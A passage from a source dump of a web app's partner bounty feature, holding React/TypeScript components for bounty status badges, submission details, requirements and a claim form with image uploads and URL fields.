    "content": "import { PartnerBountyProps } from \"@/lib/types\";\nimport { StatusBadge } from \"@dub/ui\";\nimport { formatDate } from \"@dub/utils\";\nimport { differenceInDays } from \"date-fns\";\n\nconst NEW_BOUNTY_DAYS = 14;\nconst EXPIRING_SOON_DAYS = 2;\n\ninterface BountyBadgeStateResult {\n  status: \"expired\" | \"expiring_soon\" | \"completed\" | \"new\";\n  endsAtFormatted: string | null;\n  completedAtFormatted: string | null;\n}\n\nfunction getBountyBadgeState(\n  bounty: PartnerBountyProps,\n): BountyBadgeStateResult | null {\n  const now = new Date();\n  const endsAt = bounty.endsAt ? new Date(bounty.endsAt) : null;\n  const startsAt = new Date(bounty.startsAt);\n\n  const endsAtFormatted = bounty.endsAt\n    ? formatDate(bounty.endsAt, { month: \"short\" })\n    : null;\n\n  const isExpired = endsAt !== null && endsAt < now;\n\n  if (isExpired) {\n    return {\n      status: \"expired\",\n      endsAtFormatted,\n      completedAtFormatted: null,\n    };\n  }\n\n  const daysUntilEnd = endsAt ? differenceInDays(endsAt, now) : null;\n  const isExpiringSoon =\n    endsAt !== null &&\n    daysUntilEnd !== null &&\n    daysUntilEnd >= 0 &&\n    daysUntilEnd <= EXPIRING_SOON_DAYS;\n\n  if (isExpiringSoon) {\n    return {\n      status: \"expiring_soon\",\n      endsAtFormatted,\n      completedAtFormatted: null,\n    };\n  }\n\n  const isCompleted =\n    bounty.type === \"performance\"\n      ? (bounty.submissions?.[0]?.performanceCount ?? 0) >=\n        (bounty.performanceCondition?.value ?? 0)\n      : (bounty.submissions?.filter((s) => s.status !== \"draft\").length ?? 0) >=\n        (bounty.maxSubmissions ?? 1);\n\n  if (isCompleted) {\n    const lastSubmission = bounty.submissions?.[0];\n\n    return {\n      status: \"completed\",\n      endsAtFormatted,\n      completedAtFormatted: formatDate(lastSubmission?.completedAt ?? now, {\n        month: \"short\",\n      }),\n    };\n  }\n\n  const daysSinceStart = differenceInDays(now, startsAt);\n  const isNew = daysSinceStart <= NEW_BOUNTY_DAYS;\n\n  if (isNew) {\n    return {\n      status: \"new\",\n      endsAtFormatted,\n      completedAtFormatted: null,\n    };\n  }\n\n  return null;\n}\n\nexport function BountyStatusBadge({ bounty }: { bounty: PartnerBountyProps }) {\n  const state = getBountyBadgeState(bounty);\n\n  if (!state) {\n    return null;\n  }\n\n  const { status, endsAtFormatted, completedAtFormatted } = state;\n\n  return (\n    <div className=\"absolute left-2 top-2 z-10\">\n      {status === \"expired\" && endsAtFormatted && (\n        <StatusBadge\n          variant=\"error\"\n          icon={null}\n          className=\"bg-red-100 text-xs font-semibold text-red-700\"\n        >\n          Expired {endsAtFormatted}\n        </StatusBadge>\n      )}\n\n      {status === \"expiring_soon\" && endsAtFormatted && (\n        <StatusBadge\n          variant=\"warning\"\n          icon={null}\n          className=\"bg-amber-100 text-xs font-semibold text-amber-700\"\n        >\n          Expiring soon {endsAtFormatted}\n        </StatusBadge>\n      )}\n\n      {status === \"completed\" && completedAtFormatted && (\n        <StatusBadge\n          variant=\"success\"\n          icon={null}\n          className=\"bg-green-100 text-xs font-semibold text-green-700\"\n        >\n          Completed {completedAtFormatted}\n        </StatusBadge>\n      )}\n\n      {status === \"new\" && (\n        <StatusBadge\n          variant=\"new\"\n          icon={null}\n          className=\"bg-blue-100 text-xs font-semibold text-blue-700\"\n        >\n          New\n        </StatusBadge>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-submission-details-sheet.tsx",
    "content": "\"use client\";\n\nimport { REJECT_BOUNTY_SUBMISSION_REASONS } from \"@/lib/bounty/constants\";\nimport { getPeriodLabel } from \"@/lib/bounty/periods\";\nimport { BOUNTY_SUBMISSION_STATUS_BADGES } from \"@/lib/bounty/submission-status\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { PartnerBountyProps } from \"@/lib/types\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  CopyButton,\n  Sheet,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  useKeyboardShortcut,\n  useTable,\n} from \"@dub/ui\";\nimport { ChevronLeft, ChevronRight } from \"@dub/ui/icons\";\nimport {\n  cn,\n  currencyFormatter,\n  formatDate,\n  formatDateTimeSmart,\n  nFormatter,\n} from \"@dub/utils\";\nimport { formatDistanceToNow } from \"date-fns\";\nimport { Dispatch, Fragment, ReactNode, SetStateAction, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { PLATFORM_ICONS } from \"./bounty-platform-icons\";\nimport { EmphasisNumber } from \"./bounty-progress-bar-row\";\nimport { BountySocialContentPreview } from \"./bounty-social-content-preview\";\nimport { BountySocialMetricsRewardsTable } from \"./bounty-social-metrics-rewards-table\";\n\ntype PartnerBountySubmission = PartnerBountyProps[\"submissions\"][number];\n\ninterface BountySubmissionDetailsSheetProps {\n  bounty: PartnerBountyProps;\n  submission: PartnerBountySubmission;\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  onNext?: () => void;\n  onPrevious?: () => void;\n}\n\nfunction SocialContentPreview({\n  bounty,\n  submission,\n}: {\n  bounty: PartnerBountyProps;\n  submission: PartnerBountySubmission;\n}) {\n  const bountyInfo = resolveBountyDetails(bounty);\n  const { socialMetrics, socialPlatform } = bountyInfo ?? {};\n\n  const url = submission.urls?.[0] ?? \"\";\n\n  if (!socialMetrics || !socialPlatform || !url) {\n    return null;\n  }\n\n  const socialMetricCount = submission.socialMetricCount ?? 0;\n  const minCount = socialMetrics.minCount ?? 0;\n  const percent =\n    minCount > 0 ? Math.min((socialMetricCount / minCount) * 100, 100) : 100;\n  const isComplete = percent >= 100;\n\n  const PlatformIcon = PLATFORM_ICONS[socialPlatform.value];\n  const lastSyncedAt = submission.socialMetricsLastSyncedAt;\n\n  return (\n    <div className=\"flex flex-col gap-2\">\n      <div className=\"flex items-center justify-between\">\n        <h2 className=\"text-base font-semibold text-neutral-800\">\n          Submitted content\n        </h2>\n        {lastSyncedAt && (\n          <span className=\"text-xs font-medium text-neutral-400\">\n            Last sync{\" \"}\n            {formatDistanceToNow(new Date(lastSyncedAt), { addSuffix: true })}\n          </span>\n        )}\n      </div>\n\n      <div className=\"rounded-xl border border-neutral-200 bg-neutral-50\">\n        {/* Progress section */}\n        <div className=\"flex flex-col gap-3 px-4 pb-3 pt-4\">\n          <div className=\"h-1 w-full rounded-full bg-neutral-200\">\n            <div\n              className={cn(\n                \"h-full rounded-full\",\n                isComplete ? \"bg-green-600\" : \"bg-amber-600\",\n              )}\n              style={{ width: `${percent}%` }}\n            />\n          </div>\n\n          <div className=\"flex items-center gap-2\">\n            <PlatformIcon className=\"size-4 shrink-0\" />\n            <p className=\"text-sm font-medium text-neutral-600\">\n              <EmphasisNumber>\n                {nFormatter(socialMetricCount, { full: true })}\n              </EmphasisNumber>\n              {\" of \"}\n              <EmphasisNumber>\n                {nFormatter(minCount, { full: true })}\n              </EmphasisNumber>\n              {` ${socialMetrics.metric} generated`}\n            </p>\n          </div>\n        </div>\n\n        <BountySocialContentPreview bounty={bounty} submission={submission} />\n      </div>\n    </div>\n  );\n}\n\nfunction SubmissionDetailsView({\n  bounty,\n  submission,\n}: {\n  bounty: PartnerBountyProps;\n  submission: PartnerBountySubmission;\n}) {\n  const bountyInfo = resolveBountyDetails(bounty);\n  const statusBadge = BOUNTY_SUBMISSION_STATUS_BADGES[submission.status];\n  const submittedDate = submission.completedAt ?? submission.createdAt;\n\n  const textValue = (text: string) => (\n    <span className=\"text-sm font-medium text-neutral-900\">{text}</span>\n  );\n\n  const details: { label: string; value: ReactNode }[] = [];\n\n  if (statusBadge) {\n    details.push({\n      label: \"Status\",\n      value: (\n        <StatusBadge\n          variant={statusBadge.variant}\n          icon={statusBadge.icon}\n          className=\"w-fit rounded-lg py-1\"\n        >\n          {submission.status === \"submitted\"\n            ? \"Pending review\"\n            : statusBadge.label}\n        </StatusBadge>\n      ),\n    });\n  }\n\n  if (submittedDate) {\n    details.push({\n      label: \"Submitted\",\n      value: textValue(\n        formatDate(submittedDate, {\n          month: \"short\",\n          day: \"numeric\",\n          year: \"numeric\",\n        }),\n      ),\n    });\n  }\n\n  if (submission.reviewedAt) {\n    details.push({\n      label: \"Reviewed\",\n      value: textValue(\n        formatDate(submission.reviewedAt, {\n          month: \"short\",\n          day: \"numeric\",\n          year: \"numeric\",\n        }),\n      ),\n    });\n  }\n\n  if (submission.rejectionReason) {\n    details.push({\n      label: \"Rejection reason\",\n      value: textValue(\n        REJECT_BOUNTY_SUBMISSION_REASONS[submission.rejectionReason] ??\n          submission.rejectionReason,\n      ),\n    });\n  }\n\n  return (\n    <div className=\"scrollbar-hide flex min-h-0 flex-1 flex-col overflow-y-auto\">\n      <div className=\"flex flex-col gap-5 p-5\">\n        <div>\n          <h2 className=\"text-base font-semibold text-neutral-800\">Details</h2>\n          <div className=\"mt-3 grid grid-cols-2 items-center gap-x-14 gap-y-1\">\n            {details.map(({ label, value }) => (\n              <Fragment key={label}>\n                <span className=\"text-sm font-medium text-neutral-500\">\n                  {label}\n                </span>\n                <div>{value}</div>\n              </Fragment>\n            ))}\n          </div>\n        </div>\n\n        {submission.rejectionNote && (\n          <div className=\"rounded-lg bg-orange-50 p-4\">\n            <p className=\"whitespace-pre-wrap text-sm leading-6 text-orange-800\">\n              {submission.rejectionNote}\n            </p>\n          </div>\n        )}\n\n        <SubmissionRewardTable submission={submission} />\n\n        {bountyInfo?.hasSocialMetrics &&\n          [\"draft\", \"submitted\"].includes(submission.status) && (\n            <BountySocialMetricsRewardsTable\n              bounty={bounty}\n              submission={submission}\n            />\n          )}\n\n        <SocialContentPreview bounty={bounty} submission={submission} />\n\n        {Boolean(submission.files?.length) && (\n          <div>\n            <h2 className=\"text-base font-semibold text-neutral-800\">Images</h2>\n            <div className=\"mt-2 flex flex-wrap gap-3\">\n              {submission.files!.map((file, idx) => (\n                <a\n                  key={idx}\n                  className=\"border-border-subtle hover:border-border-default group relative flex size-14 items-center justify-center rounded-md border bg-white\"\n                  target=\"_blank\"\n                  href={file.url}\n                  rel=\"noopener noreferrer\"\n                >\n                  <div className=\"relative size-full overflow-hidden rounded-md\">\n                    <img\n                      src={file.url}\n                      alt={file.fileName || `File ${idx + 1}`}\n                      className=\"object-cover\"\n                    />\n                  </div>\n                  <span className=\"sr-only\">\n                    {file.fileName || `File ${idx + 1}`}\n                  </span>\n                </a>\n              ))}\n            </div>\n          </div>\n        )}\n\n        {Boolean(submission.urls?.length) && !bountyInfo?.hasSocialMetrics && (\n          <div>\n            <h2 className=\"text-base font-semibold text-neutral-800\">URLs</h2>\n            <div className=\"mt-2 flex flex-col gap-2\">\n              {submission.urls?.map((url, idx) => (\n                <div\n                  className=\"relative\"\n                  key={`${submission.id}-${idx}-${url}`}\n                >\n                  <div className=\"border-border-subtle block w-full rounded-lg border px-3 py-2 pl-10 pr-12\">\n                    <a\n                      href={url}\n                      target=\"_blank\"\n                      rel=\"noopener noreferrer\"\n                      className=\"block cursor-alias truncate text-sm font-normal text-neutral-800 decoration-dotted underline-offset-2 hover:underline\"\n                    >\n                      {url}\n                    </a>\n                  </div>\n                  <div className=\"absolute inset-y-0 left-0 flex items-center pl-2.5\">\n                    <div className=\"flex size-6 items-center justify-center rounded-full bg-neutral-100 text-xs font-medium text-neutral-600\">\n                      {idx + 1}\n                    </div>\n                  </div>\n                  <div className=\"absolute inset-y-0 right-0 flex items-center pr-2.5\">\n                    <CopyButton\n                      value={url}\n                      onCopy={() => {\n                        toast.success(\"URL copied to clipboard!\");\n                      }}\n                    />\n                  </div>\n                </div>\n              ))}\n            </div>\n          </div>\n        )}\n\n        {submission.description && (\n          <div>\n            <h2 className=\"text-base font-semibold text-neutral-800\">\n              Provide any additional details (optional)\n            </h2>\n            <p className=\"mt-2 whitespace-pre-wrap text-sm text-neutral-600\">\n              {submission.description}\n            </p>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction SubmissionRewardTable({\n  submission,\n}: {\n  submission: PartnerBountySubmission;\n}) {\n  const rewards = submission.commission ? [submission.commission] : [];\n\n  const { table, ...tableProps } = useTable({\n    data: rewards,\n    columns: [\n      {\n        id: \"amount\",\n        header: \"Amount\",\n        cell: ({ row }) => currencyFormatter(row.original.earnings),\n      },\n      {\n        id: \"status\",\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = CommissionStatusBadges[row.original.status];\n\n          return badge ? (\n            <span\n              className={cn(\n                \"rounded-md px-2 py-0.5 text-xs font-semibold\",\n                badge.className,\n              )}\n            >\n              {badge.label}\n            </span>\n          ) : null;\n        },\n      },\n      {\n        id: \"date\",\n        header: \"Date\",\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\"]}\n          >\n            <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n              {formatDateTimeSmart(row.original.createdAt)}\n            </span>\n          </TimestampTooltip>\n        ),\n      },\n    ],\n    thClassName: \"border-l-transparent\",\n    tdClassName: \"border-l-transparent\",\n  });\n\n  if (rewards.length === 0) {\n    return null;\n  }\n\n  return (\n    <div>\n      <h2 className=\"text-base font-semibold text-neutral-800\">Rewards</h2>\n      <div className=\"mt-2\">\n        <Table\n          {...tableProps}\n          table={table}\n          containerClassName=\"border-neutral-200\"\n          scrollWrapperClassName=\"min-h-0\"\n          className=\"[&_tbody_tr:last-child_td]:border-b-0\"\n        />\n      </div>\n    </div>\n  );\n}\n\nexport function BountySubmissionDetailsSheet({\n  bounty,\n  submission,\n  isOpen,\n  setIsOpen,\n  onNext,\n  onPrevious,\n}: BountySubmissionDetailsSheetProps) {\n  const title =\n    bounty.maxSubmissions > 1\n      ? `Submission (${getPeriodLabel(bounty.submissionFrequency, submission.periodNumber - 1)})`\n      : \"Submission\";\n\n  useKeyboardShortcut(\n    \"ArrowRight\",\n    () => {\n      if (onNext) onNext();\n    },\n    { sheet: true },\n  );\n\n  useKeyboardShortcut(\n    \"ArrowLeft\",\n    () => {\n      if (onPrevious) onPrevious();\n    },\n    { sheet: true },\n  );\n\n  return (\n    <Sheet open={isOpen} onOpenChange={setIsOpen}>\n      <div className=\"relative flex size-full flex-col\">\n        <div className=\"sticky top-0 z-10 flex shrink-0 items-center justify-between border-b border-neutral-200 bg-white px-5 py-4\">\n          <Sheet.Title className=\"text-base font-semibold text-neutral-900\">\n            {title}\n          </Sheet.Title>\n          <div className=\"flex items-center gap-4\">\n            {(onNext || onPrevious) && (\n              <div className=\"flex items-center\">\n                <Button\n                  type=\"button\"\n                  disabled={!onPrevious}\n                  onClick={onPrevious}\n                  variant=\"secondary\"\n                  className=\"size-9 rounded-l-lg rounded-r-none p-0\"\n                  icon={<ChevronLeft className=\"size-3.5\" />}\n                />\n                <Button\n                  type=\"button\"\n                  disabled={!onNext}\n                  onClick={onNext}\n                  variant=\"secondary\"\n                  className=\"-ml-px size-9 rounded-l-none rounded-r-lg p-0\"\n                  icon={<ChevronRight className=\"size-3.5\" />}\n                />\n              </div>\n            )}\n            <Sheet.Close asChild>\n              <Button\n                variant=\"outline\"\n                icon={<X className=\"size-5\" />}\n                className=\"h-auto w-fit p-1\"\n              />\n            </Sheet.Close>\n          </div>\n        </div>\n        <SubmissionDetailsView bounty={bounty} submission={submission} />\n      </div>\n    </Sheet>\n  );\n}\n\nexport function useBountySubmissionDetailsSheet({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n  const [activePeriodNumber, setActivePeriodNumber] = useState<\n    number | undefined\n  >();\n\n  const submission =\n    bounty.submissions?.find(\n      (s) => s.periodNumber === (activePeriodNumber ?? 1),\n    ) ?? null;\n\n  // Navigable submissions: non-draft, sorted by periodNumber\n  const submittedPeriodNumbers = (bounty.submissions ?? [])\n    .filter((s) => s.status !== \"draft\")\n    .map((s) => s.periodNumber)\n    .sort((a, b) => a - b);\n\n  const currentIndex = submittedPeriodNumbers.indexOf(activePeriodNumber ?? 1);\n\n  const onPrevious =\n    currentIndex > 0\n      ? () => setActivePeriodNumber(submittedPeriodNumbers[currentIndex - 1])\n      : undefined;\n\n  const onNext =\n    currentIndex < submittedPeriodNumbers.length - 1\n      ? () => setActivePeriodNumber(submittedPeriodNumbers[currentIndex + 1])\n      : undefined;\n\n  return {\n    bountySubmissionDetailsSheet: submission ? (\n      <BountySubmissionDetailsSheet\n        bounty={bounty}\n        submission={submission}\n        isOpen={isOpen}\n        setIsOpen={setIsOpen}\n        onNext={onNext}\n        onPrevious={onPrevious}\n      />\n    ) : null,\n    setShowBountySubmissionDetailsSheet: setIsOpen,\n    setActivePeriodNumber,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-submission-requirements.tsx",
    "content": "import { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { PartnerBountyProps } from \"@/lib/types\";\nimport { Check2 } from \"@dub/ui\";\n\nexport function getBountySubmissionRequirements(bounty: PartnerBountyProps) {\n  const bountyInfo = resolveBountyDetails(bounty);\n  const requirements: string[] = [];\n\n  const reqs = bounty.submissionRequirements;\n\n  if (reqs?.image) {\n    requirements.push(\n      reqs.image.max\n        ? `Submit up to ${reqs.image.max} image${reqs.image.max === 1 ? \"\" : \"s\"}`\n        : \"Submit an image\",\n    );\n  }\n\n  if (reqs?.url) {\n    requirements.push(\n      reqs.url.max\n        ? `Submit up to ${reqs.url.max} URL${reqs.url.max === 1 ? \"\" : \"s\"}`\n        : \"Submit a URL\",\n    );\n    if (reqs.url.domains?.length) {\n      requirements.push(`URL must be from: ${reqs.url.domains.join(\", \")}`);\n    }\n  }\n\n  if (bountyInfo?.hasSocialMetrics && bountyInfo.socialPlatform) {\n    requirements.push(\n      `Submit a ${bountyInfo.socialPlatform.label} link from your connected account`,\n      \"The content shared is posted after this bounty started\",\n    );\n  }\n\n  return requirements;\n}\n\nexport function BountySubmissionRequirements({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  const submissionTexts = getBountySubmissionRequirements(bounty);\n\n  if (submissionTexts.length === 0) {\n    return null;\n  }\n\n  return (\n    <div>\n      <h3 className=\"text-content-emphasis text-lg font-semibold\">\n        Submission requirements\n      </h3>\n\n      <div className=\"mt-2 flex flex-col gap-1\">\n        {submissionTexts.map((text) => (\n          <div className=\"flex items-center gap-1.5\" key={text}>\n            <Check2 className=\"size-3 shrink-0 text-green-600\" />\n            <span className=\"text-sm font-normal text-neutral-600\">{text}</span>\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-thumbnail-image.tsx",
    "content": "import { BountyProps } from \"@/lib/types\";\nimport { cn } from \"@dub/utils\";\n\nexport function BountyThumbnailImage({\n  bounty,\n  className,\n}: {\n  bounty: Pick<BountyProps, \"type\">;\n  className?: string;\n}) {\n  return (\n    <img\n      {...(bounty.type === \"performance\"\n        ? {\n            src: \"https://assets.dub.co/icons/trophy.webp\",\n            alt: \"Trophy thumbnail\",\n          }\n        : {\n            src: \"https://assets.dub.co/icons/heart.webp\",\n            alt: \"Heart thumbnail\",\n          })}\n      className={cn(\"size-full object-contain\", className)}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/claim-bounty-context.tsx",
    "content": "\"use client\";\n\nimport {\n  createContext,\n  Dispatch,\n  SetStateAction,\n  useContext,\n  useState,\n} from \"react\";\n\nexport type ClaimBountyContextValue = {\n  socialContentVerifying: boolean;\n  setSocialContentVerifying: Dispatch<SetStateAction<boolean>>;\n  socialContentRequirementsMet: boolean;\n  setSocialContentRequirementsMet: Dispatch<SetStateAction<boolean>>;\n};\n\nconst ClaimBountyContext = createContext<ClaimBountyContextValue | undefined>(\n  undefined,\n);\n\nexport function ClaimBountyProvider({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  const [socialContentVerifying, setSocialContentVerifying] = useState(false);\n  const [socialContentRequirementsMet, setSocialContentRequirementsMet] =\n    useState(true);\n\n  return (\n    <ClaimBountyContext.Provider\n      value={{\n        socialContentVerifying,\n        setSocialContentVerifying,\n        socialContentRequirementsMet,\n        setSocialContentRequirementsMet,\n      }}\n    >\n      {children}\n    </ClaimBountyContext.Provider>\n  );\n}\n\nexport function useClaimBountyContext() {\n  const context = useContext(ClaimBountyContext);\n\n  if (!context) {\n    throw new Error(\n      \"useClaimBountyContext must be used within ClaimBountyProvider\",\n    );\n  }\n\n  return context;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/claim-bounty-sheet.tsx",
    "content": "\"use client\";\n\nimport { createBountySubmissionAction } from \"@/lib/actions/partners/create-bounty-submission\";\nimport { uploadBountySubmissionFileAction } from \"@/lib/actions/partners/upload-bounty-submission-file\";\nimport {\n  BOUNTY_MAX_SUBMISSION_DESCRIPTION_LENGTH,\n  BOUNTY_MAX_SUBMISSION_FILES,\n  BOUNTY_MAX_SUBMISSION_URLS,\n} from \"@/lib/bounty/constants\";\nimport { getPeriodLabel } from \"@/lib/bounty/periods\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { PartnerBountyProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  FileUpload,\n  Label,\n  LoadingSpinner,\n  Sheet,\n  Trash,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { Dispatch, SetStateAction, useEffect, useRef, useState } from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport ReactTextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport { v4 as uuid } from \"uuid\";\nimport { SocialContentUrlField } from \"./bounty-social-content\";\nimport {\n  ClaimBountyProvider,\n  useClaimBountyContext,\n} from \"./claim-bounty-context\";\nimport {\n  CreateBountySubmissionInput,\n  useClaimBountyForm,\n} from \"./use-claim-bounty-form\";\n\ninterface FileInput {\n  id: string;\n  file?: File;\n  url?: string;\n  uploading: boolean;\n}\n\nfunction ImagesField({\n  bounty,\n  onUploadingChange,\n  files,\n  setFiles,\n}: {\n  bounty: PartnerBountyProps;\n  onUploadingChange: (uploading: boolean) => void;\n  files: FileInput[];\n  setFiles: Dispatch<SetStateAction<FileInput[]>>;\n}) {\n  const { programEnrollment } = useProgramEnrollment();\n  const { setValue } = useClaimBountyForm();\n\n  const imageMax = bounty.submissionRequirements?.image?.max;\n  const maxFiles = imageMax ?? BOUNTY_MAX_SUBMISSION_FILES;\n  const formatRequirementText = (max?: number | null) =>\n    max != null && max > 1 ? ` (1 required, max of ${max})` : \" (1 required)\";\n\n  const { executeAsync: uploadFile } = useAction(\n    uploadBountySubmissionFileAction,\n  );\n\n  const syncToForm = (updated: FileInput[]) => {\n    const completed = updated\n      .filter((f): f is FileInput & { url: string } => !f.uploading && !!f.url)\n      .map((f) => ({\n        url: f.url,\n        fileName: f.file?.name ?? \"File\",\n        size: f.file?.size ?? 0,\n      }));\n    setValue(\"files\", completed);\n  };\n\n  const handleUpload = async (file: File) => {\n    if (!programEnrollment) return;\n\n    const newFile: FileInput = { id: uuid(), file, uploading: true };\n\n    setFiles((prev) => {\n      const updated = [...prev, newFile];\n      onUploadingChange(true);\n      return updated;\n    });\n\n    try {\n      const result = await uploadFile({\n        programId: programEnrollment.programId,\n        bountyId: bounty.id,\n      });\n\n      if (!result?.data) {\n        toast.error(\"Failed to get signed upload URL.\");\n        setFiles((prev) => {\n          const updated = prev.filter((f) => f.id !== newFile.id);\n          onUploadingChange(updated.some((f) => f.uploading));\n          syncToForm(updated);\n          return updated;\n        });\n        return;\n      }\n\n      const { signedUrl, destinationUrl } = result.data;\n\n      const uploadResponse = await fetch(signedUrl, {\n        method: \"PUT\",\n        body: file,\n        headers: {\n          \"Content-Type\": file.type,\n          \"Content-Length\": file.size.toString(),\n        },\n      });\n\n      if (!uploadResponse.ok) {\n        let errorMessage = \"Failed to upload screenshot.\";\n        try {\n          const res = await uploadResponse.json();\n          errorMessage = res.error?.message || errorMessage;\n        } catch {\n          // ignore JSON parse errors; use the default message\n        }\n        toast.error(errorMessage);\n        setFiles((prev) => {\n          const updated = prev.filter((f) => f.id !== newFile.id);\n          onUploadingChange(updated.some((f) => f.uploading));\n          syncToForm(updated);\n          return updated;\n        });\n        return;\n      }\n\n      toast.success(`${file.name} uploaded!`);\n\n      setFiles((prev) => {\n        const updated = prev.map((f) =>\n          f.id === newFile.id\n            ? { ...f, uploading: false, url: destinationUrl }\n            : f,\n        );\n        onUploadingChange(updated.some((f) => f.uploading));\n        syncToForm(updated);\n        return updated;\n      });\n    } catch {\n      toast.error(\n        \"An unexpected error occurred while uploading. Please try again.\",\n      );\n      setFiles((prev) => {\n        const updated = prev.filter((f) => f.id !== newFile.id);\n        onUploadingChange(updated.some((f) => f.uploading));\n        syncToForm(updated);\n        return updated;\n      });\n    }\n  };\n\n  return (\n    <div>\n      <Label>Images{formatRequirementText(imageMax)}</Label>\n      <div\n        className={cn(\n          \"mt-2 flex h-12 items-center gap-2 transition-[height]\",\n          files.length === 0 && \"h-[104px]\",\n        )}\n      >\n        {files.map((file, idx) => (\n          <div\n            key={file.id}\n            className=\"border-border-subtle group relative flex aspect-square h-full items-center justify-center rounded-md border bg-white\"\n          >\n            {file.uploading ? (\n              <LoadingSpinner className=\"size-4\" />\n            ) : (\n              <div className=\"relative size-full overflow-hidden rounded-md\">\n                <img\n                  src={file.url}\n                  alt={file.file?.name || `Bounty attachment ${idx + 1}`}\n                />\n              </div>\n            )}\n            <span className=\"sr-only\">\n              {file.file?.name || `File ${idx + 1}`}\n            </span>\n            <button\n              type=\"button\"\n              className={cn(\n                \"absolute right-0 top-0 flex size-[1.125rem] -translate-y-1/2 translate-x-1/2 items-center justify-center\",\n                \"rounded-full border border-neutral-200 bg-white shadow-sm hover:bg-neutral-50 active:scale-95\",\n                \"scale-50 opacity-0 transition-[background-color,transform,opacity] group-hover:scale-100 group-hover:opacity-100\",\n              )}\n              onClick={() => {\n                setFiles((prev) => {\n                  const updated = prev.filter((f) => f.id !== file.id);\n                  syncToForm(updated);\n                  return updated;\n                });\n              }}\n            >\n              <X className=\"size-2.5 text-neutral-400\" />\n            </button>\n          </div>\n        ))}\n\n        <FileUpload\n          accept=\"images\"\n          className={cn(\n            \"border-border-subtle h-full w-auto rounded-md border\",\n            files.length > 0 ? \"aspect-square\" : \"aspect-[unset] w-full\",\n          )}\n          iconClassName=\"size-5 shrink-0\"\n          variant=\"plain\"\n          content={\n            files.length > 0 ? null : \"SVG, JPG, PNG or WEBP\\nMax size 5MB\"\n          }\n          onChange={async ({ file }) => await handleUpload(file)}\n          disabled={files.length >= maxFiles}\n          maxFileSizeMB={5}\n        />\n      </div>\n    </div>\n  );\n}\n\nfunction UrlsField({ bounty }: { bounty: PartnerBountyProps }) {\n  const { watch, setValue, getValues } = useClaimBountyForm();\n\n  const bountyInfo = resolveBountyDetails(bounty);\n  const socialPlatform = bountyInfo?.socialPlatform;\n\n  const urlMax = bounty.submissionRequirements?.url?.max;\n  const maxUrls = urlMax ?? BOUNTY_MAX_SUBMISSION_URLS;\n  const formatRequirementText = (max?: number | null) =>\n    max != null && max > 1 ? ` (1 required, max of ${max})` : \" (1 required)\";\n\n  const firstDomain = bounty.submissionRequirements?.url?.domains?.[0];\n  const placeholderUrl = firstDomain ? `https://${firstDomain}` : \"https://\";\n\n  const formUrls = watch(\"urls\") ?? [];\n  const displayUrls = socialPlatform ? formUrls.slice(1) : formUrls;\n  const rows = displayUrls.length > 0 ? displayUrls : [\"\"];\n\n  return (\n    <div>\n      <div className=\"flex items-center justify-between\">\n        <Label>URL{formatRequirementText(urlMax)}</Label>\n        <span className=\"text-xs font-medium text-neutral-500\">\n          {formUrls.filter(Boolean).length} / {maxUrls}\n        </span>\n      </div>\n      <div className=\"mt-2 flex flex-col gap-2\">\n        {rows.map((url, i) => (\n          <div key={i} className=\"flex items-center gap-2\">\n            <input\n              type=\"url\"\n              placeholder={placeholderUrl}\n              value={url}\n              onChange={(e) => {\n                const prev = getValues(\"urls\") ?? [];\n                const idx = socialPlatform ? i + 1 : i;\n                const next =\n                  prev.length > idx\n                    ? [...prev]\n                    : [...prev, ...Array(idx - prev.length + 1).fill(\"\")];\n                next[idx] = e.target.value;\n                setValue(\"urls\", next);\n              }}\n              className=\"block h-10 w-full rounded-md border-neutral-300 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n            <Button\n              variant=\"outline\"\n              icon={<Trash className=\"size-4\" />}\n              className=\"w-10 shrink-0 bg-red-50 p-0 text-red-700 hover:bg-red-100\"\n              onClick={() => {\n                const prev = getValues(\"urls\") ?? [];\n                const idx = socialPlatform ? i + 1 : i;\n                setValue(\n                  \"urls\",\n                  prev.filter((_, j) => j !== idx),\n                );\n              }}\n            />\n          </div>\n        ))}\n\n        {formUrls.length < maxUrls && (\n          <Button\n            variant=\"secondary\"\n            text=\"Add URL\"\n            className=\"h-8 rounded-lg\"\n            onClick={() => {\n              setValue(\"urls\", [...(getValues(\"urls\") ?? []), \"\"]);\n            }}\n          />\n        )}\n\n        {bounty.submissionRequirements?.url?.domains &&\n          bounty.submissionRequirements.url.domains.length > 0 && (\n            <p className=\"text-xs text-neutral-400\">\n              Allowed domains:{\" \"}\n              